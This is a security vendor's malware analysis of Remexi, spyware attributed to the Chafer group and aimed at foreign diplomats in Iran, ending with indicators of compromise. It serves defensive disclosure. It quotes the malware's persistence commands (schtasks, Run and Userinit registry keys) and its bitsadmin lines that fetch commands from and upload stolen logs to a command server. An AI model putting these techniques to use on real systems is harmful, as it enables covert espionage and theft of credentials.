Chafer used Remexi malware to spy on Iran-based foreign diplomatic entities

SL securelist.com/chafer-used-remexi-malware/89538

By Denis Legezo

Executive Summary

Throughout the autumn of 2018 we analyzed a long-standing (and still active at that time) cyber-espionage campaign that was primarily targeting foreign diplomatic entities based in Iran. The attackers were using an improved version of Remexi in what the victimology suggests might be a domestic cyber-espionage operation. This malware has previously been associated with an APT actor that Symantec calls Chafer.

The malware can exfiltrate keystrokes, screenshots, browser-related data like cookies and history, decrypted when possible. The attackers rely heavily on Microsoft technologies on both the client and server sides: the Trojan uses standard Windows utilities like Microsoft Background Intelligent Transfer Service (BITS) bitsadmin.exe to receive commands and exfiltrate data. Its C2 is based on IIS using .asp technology to handle the victims' HTTP requests.

Remexi developers use the C programming language and GCC compiler on Windows in the MinGW environment. They most likely used the Qt Creator IDE in a Windows environment. The malware utilizes several persistence mechanisms including scheduled tasks, Userinit and Run registry keys in the HKLM hive.

XOR and RC4 encryption is used with quite long unique keys for different samples. Among all these random keys once the word "salamati" was also used, which means "health" in Farsi.

Kaspersky Lab products detect the malware described in this report as Trojan.Win32.Remexi and Trojan.Win32.Agent. This blogpost is based in our original report shared with our APT Intelligence Reporting customers last November 2018. For more information please contact: intelreports@kaspersky.com

Technical analysis

The main tool used in this campaign is an updated version of the Remexi malware, publicly reported by Symantec back in 2015. The newest module's compilation timestamp is March 2018. The developers used GCC compiler on Windows in the MinGW environment.

Inside the binaries the compiler left references to the names of the C source file modules used: “operation_reg.c”, “thread_command.c” and “thread_upload.c”. Like mentioned in modules file names the malware consists of several working threads dedicated to different tasks, including C2 command parsing and data exfiltration. For both the receiving of C2 commands and exfiltration, Remexi uses the Microsoft Background Intelligent Transfer Service (BITS) mechanism to communicate with the C2 over HTTP.

Proliferation

So far, our telemetry hasn’t provided any concrete evidence that shows us how the Remexi malware spread. However, we think it’s worth mentioning that for one victim we found a correlation between the execution of Remexi´s main module and the execution of an AutoIt script compiled as PE, which we believe may have dropped the malware. This dropper used an FTP with hardcoded credentials to receive its payload. FTP server was not accessible any more at the time of our analysis.

Malware features

Remexi boasts features that allow it to gather keystrokes, take screenshots of windows of interest (as defined in its configuration), steal credentials, logons and the browser history, and execute remote commands. Encryption consists of XOR with a hardcoded key for its configuration and RC4 with a predefined password for encrypting the victim’s data.

Remexi includes different modules that it deploys in its working directory, including configuration decryption and parsing, launching victim activity logging in a separate module, and seven threads for various espionage and auxiliary functions. The Remexi developers seem to rely on legitimate Microsoft utilities, which we enumerate in the table below.

Utility	Usage
extract.exe	Deploys modules from the .cab file into the working Event Cache directory
bitsadmin.exe	Fetches files from the C2 server to parse and execute commands. Send exfiltrated data
taskkill.exe	Ends working cycle of modules

Persistence

Persistence modules are based on scheduled tasks and system registry. Mechanisms vary for different OS versions. In the case of old Windows versions like XP, main module events.exe runs an edited XPTask.vbs Microsoft sample script to create a weekly scheduled task for itself. For newer operating systems, events.exe creates task.xml as follows:

```
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<RegistrationInfo><Author>Microsoft Corporation</Author></RegistrationInfo><Triggers><TimeTrigger><Repetition><Interval>PT1M</Interval><
StopAtDurationEnd>false</StopAtDurationEnd></Repetition><StartBoundary>2010-09-02T16:15:00</StartBoundary><Enabled>true</Enabled></
TimeTrigger></Triggers><Actions Context="Author"><Exec><Command>
"C:\Users\User\AppData\Local\Microsoft\Events Cache\events.exe"
</Command></Exec></Actions></Task>
```

Then it creates a Windows scheduled task using the following command:

```
1  schtasks.exe /create /TN \"Events\\CacheTask_<user_name_here>" /XML \"
   <event_cache_dir_path>t /F"
```

At the system registry level, modules achieve persistence by adding themselves into the key:

HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit

when it finds possible add values to the Winlogon subkey, and in

HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft Activity Manager. All such indicators of compromise are mentioned in correspondent appendix below.

Commands

All the commands received from the C2 are first saved to an auxiliary file and then stored encrypted in the system registry. The standalone thread will decrypt and execute them.

Command	Description
search	Searches for corresponding files
search&upload	Encrypts and adds the corresponding files to the upload directory with the provided name
uploadfile	Encrypts and adds the specified file to the upload directory with the provided name
uploadfolder	Encrypts and adds the mentioned directory to the upload directory with the provided name
shellexecute	Silently executes received command with cmd.exe
wmic	Silently executes received command with wmic.exe (for WMI commands)
sendIEPass	Encrypts and adds all gathered browser data into files for upload to C2
uninstall	Removes files, directory and BITS tasks

Cryptography

To decrypt the configuration data, the malware uses XOR with 25-character keys such as “waEHleblxiQjoxFJQaIMLdHKz” that are different for every sample. RC4 file encryption relies on the Windows 32 CryptoAPI, using the provided value’s MD5 hash as an initial vector. Among all these random keys once the word “salamati” was also used, which means “health” in Farsi.

Configuration

Config.ini is the file where the malware stores its encrypted configuration data. It contains the following fields:

Field	Sample value	Description
diskFullityCheckRatio	1.4	Malware working directory size threshold. It will be deleted if it becomes as large as the free available space multiplied by this ratio
captureScreenTimeOut	72	Probability of full and active window screenshots being taken after mouse click
captureActiveWindowTimeOut	313	
captureScreenQC	40	Not really used. Probably full and active window screenshot quality
captureActiveQC	40	
CaptureSites	VPN*0,0 Login*0,0 mail*0,0 Security*0,0	Window titles of interest for screenshots, using left mouse button and Enter keypress hook
important	upLog.txt upSCRLog.txt upSpecial.txt upFile.txt upMSLog.txt	List of files to send to C2 using bitsadmin.exe from the dedicated thread
maxUpFileSizeKByte	1000000	Maximum size of file uploaded to C2
Servers	http://108.61.189.174	Control server HTTP URL
ZipPass	KtJvOXulgibfiHk	Password for uploaded zip archives

browserPasswordCheckTimeout	300000	Milliseconds to wait between gathering key3.db, cookies.sqlite and other browser files in dedicated thread

Most of the parameters are self-explanatory. However, captureScreenTimeOut and captureActiveWindowTimeOut are worth describing in more detail as their programming logic is not so intuitive.

One of the malware threads checks in an infinite loop if the mouse button was pressed and then also increments the integer iterator infinitely. If the mouse hooking function registers a button hit, it lets the screenshotting thread know about it through a global variable. After that, it checks if the iterator divided by (captureScreenTimeOut/captureActiveWindowTimeOut) has a remainder of 0. In that case, it takes a screenshot.

Main module (events.exe)

SHA256	b1fa803c19aa9f193b67232c9893ea57574a2055791b3de9f836411ce000ce31
MD5	c981273c32b581de824e1fd66a19a281
Compiled	GCC compiler in MinGW environment version 2.24, timestamp set to 1970 by compiler
Type	I386 Windows GUI EXE
Size	68 608

After checking that the malware is not already installed, it unpacks HCK.cab using the Microsoft standard utility expand.exe with the following arguments:

```
1  expand.exe -r \"<full path to HCK.cab>\" -f:* \"<event_cache_dir_path>\\\"
```

Then it decrypts config.ini file with a hardcoded 25-byte XOR key that differs for every sample. It sets keyboard and mouse hooks to its handlekeys() and MouseHookProc() functions respectively and starts several working threads:

ID	Thread description
1	Gets commands from C2 and saves them to a file and system registry using the bitsadmin.exe utility
2	Decrypts command from registry using RC4 with a hardcoded key, and executes it

3	Transfers screenshots from the clipboard to \Cache005 subdirectory and Unicode text from clipboard to log.txt, XOR-ed with the “salamati” key (“health” in Farsi)
4	Transfers screenshots to \Cache005 subdirectory with captureScreenTimeOut and captureScreenTimeOut frequencies
5	Checks network connection, encrypts and sends gathered logs
6	Unhooks mouse and keyboard, removes bitsadmin task
7	Checks if malware’s working directory size already exceeds its threshold
8	Gathers victim´s credentials, visited website cache, decrypted Chrome login data, as well as Firefox databases with cookies, keys, signons and downloads

The malware uses the following command to receive data from its C2:

```
1 bitsadmin.exe /TRANSFER HelpCenterDownload /DOWNLOAD /PRIORITY normal <server>
2 <file>
  http://<server_config>/asp.asp?ui=<host_name>nrg-<adapter_info>-<user_name>
```

Activity logging module (Splitter.exe)

This module is called from the main thread to obtain screenshots of windows whose titles are specified in the configuration CaptureSites field, bitmaps and text from clipboard, etc.

SHA256	a77f9e441415dbc8a20ad66d4d00ae606faab370ffaee5604e93ed484983d3ff
MD5	1ff40e79d673461cd33bd8b68f8bb5b8
Compiled	2017.08.06 11:32:36 (GMT), 2.22
Type	I386 Windows Console EXE
Size	101 888

Instead of implementing this auxiliary module in the form of a dynamic linked library with its corresponding exported functions, the developers decided to use a standalone executable started by events.exe with the following parameters:

Parameter	Description
-scr	Screenshot file name to save in Cache006 subdirectory, zipped with password from configuration. Can capture all screen (“AllScreen”) or the active window (“ActiveWindow”)

-ms	Screenshot file name to save in Cache006 subdirectory, zipped with password from configuration. Specifies the screen coordinates to take
-zip	Name of password (from configuration data) protected zip archive
-clipboard	Screenshot file name where a bitmap from the clipboard is saved in Cache005 subdirectory, zipped with password from configuration

Data exfiltration

Exfiltration is done through the bitsadmin.exe utility. The BITS mechanism has existed since Windows XP up to the current Windows 10 versions and was developed to create download/upload jobs, mostly to update the OS itself. The following is the command used to exfiltrate data from the victim to the C2:

```
1 bitsadmin.exe /TRANSFER HelpCenterUpload /UPLOAD /PRIORITY normal "
<control_server>/YP01_<victim_fingerprint>_<log_file_name>" "<log_file_name>"
```

Victims

The vast majority of the users targeted by this new variant of Remexi appear to have Iranian IP addresses. Some of these appear to be foreign diplomatic entities based in the country.

Attribution

The Remexi malware has been associated with an APT actor called Chafer by Symantec.

One of the human-readable encryption keys used is “salamati”. This is probably the Latin spelling for the word “health” in Farsi. Among the artifacts related to malware authors, we found in the binaries a .pdb path containing the Windows user name “Mohamadreza New”. Interestingly, the FBI website for wanted cybercriminals includes two Iranians called Mohammad Reza, although this could be a common name or even a false flag.

Conclusions

Activity of the Chafer APT group has been observed since at least 2015, but based on things like compilation timestamps and C&C registration, it’s possible they have been active for even longer. Traditionally, Chafer has been focusing on targets inside Iran, although their interests clearly include other countries in the Middle East.

We will continue to monitor how this set of activity develops in the future.

Indicators of compromise

File hashes

events.exe
028515d12e9d59d272a2538045d1f636
03055149340b7a1fd218006c98b30482
25469ddaeff0dd3edb0f39bbe1dcdc46
41b2339950d50cf678c0e5b34e68f537
4bf178f778255b6e72a317c2eb8f4103
7d1efce9c06a310627f47e7d70543aaf
9f313e8ef91ac899a27575bc5af64051
aa6246dc04e9089e366cc57a447fc3a4
c981273c32b581de824e1fd66a19a281
dcb0ea3a540205ad11f32b67030c1e5a

splitter.exe
c6721344af76403e9a7d816502dca1c8
d3a2b41b1cd953d254c0fc88071e5027
1FF40E79D673461CD33BD8B68F8BB5B8
ecae141bb068131108c1cd826c82d88b
12477223678e4a41020e66faebd3dd95
460211f1c19f8b213ffaafcdda2a7295
53e035273164f24c200262d61fa374ca

Domains and IPs

108.61.189.174

Hardcoded mutexes

Local\TEMPDAHCE01
Local\zaapr
Local\reezaaprLog
Local\{Temp-00-aa-123-mr-bbb}

Scheduled task

CacheTask_<user_name_here>

Directory with malicious modules

Main malware directory: %APPDATA%\Microsoft\Event Cache
Commands from C2 in subdirectory: Cache001\cde00.acf

Events.exe persistence records in Windows system registry keys

HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft Activity Manager

Victims' fingerprints stored in

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\PidRegData or
HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\PidRegData

RC4 encrypted C2 commands stored in

HKCU\SOFTWARE\Microsoft\Fax

HTTP requests template

http://<server_ip_from_config>/asp.asp?ui=<host_name>nrg-<adapter_info>-<user_name>
And bitsadmin.exe task to external network resources, addressed by IP addresses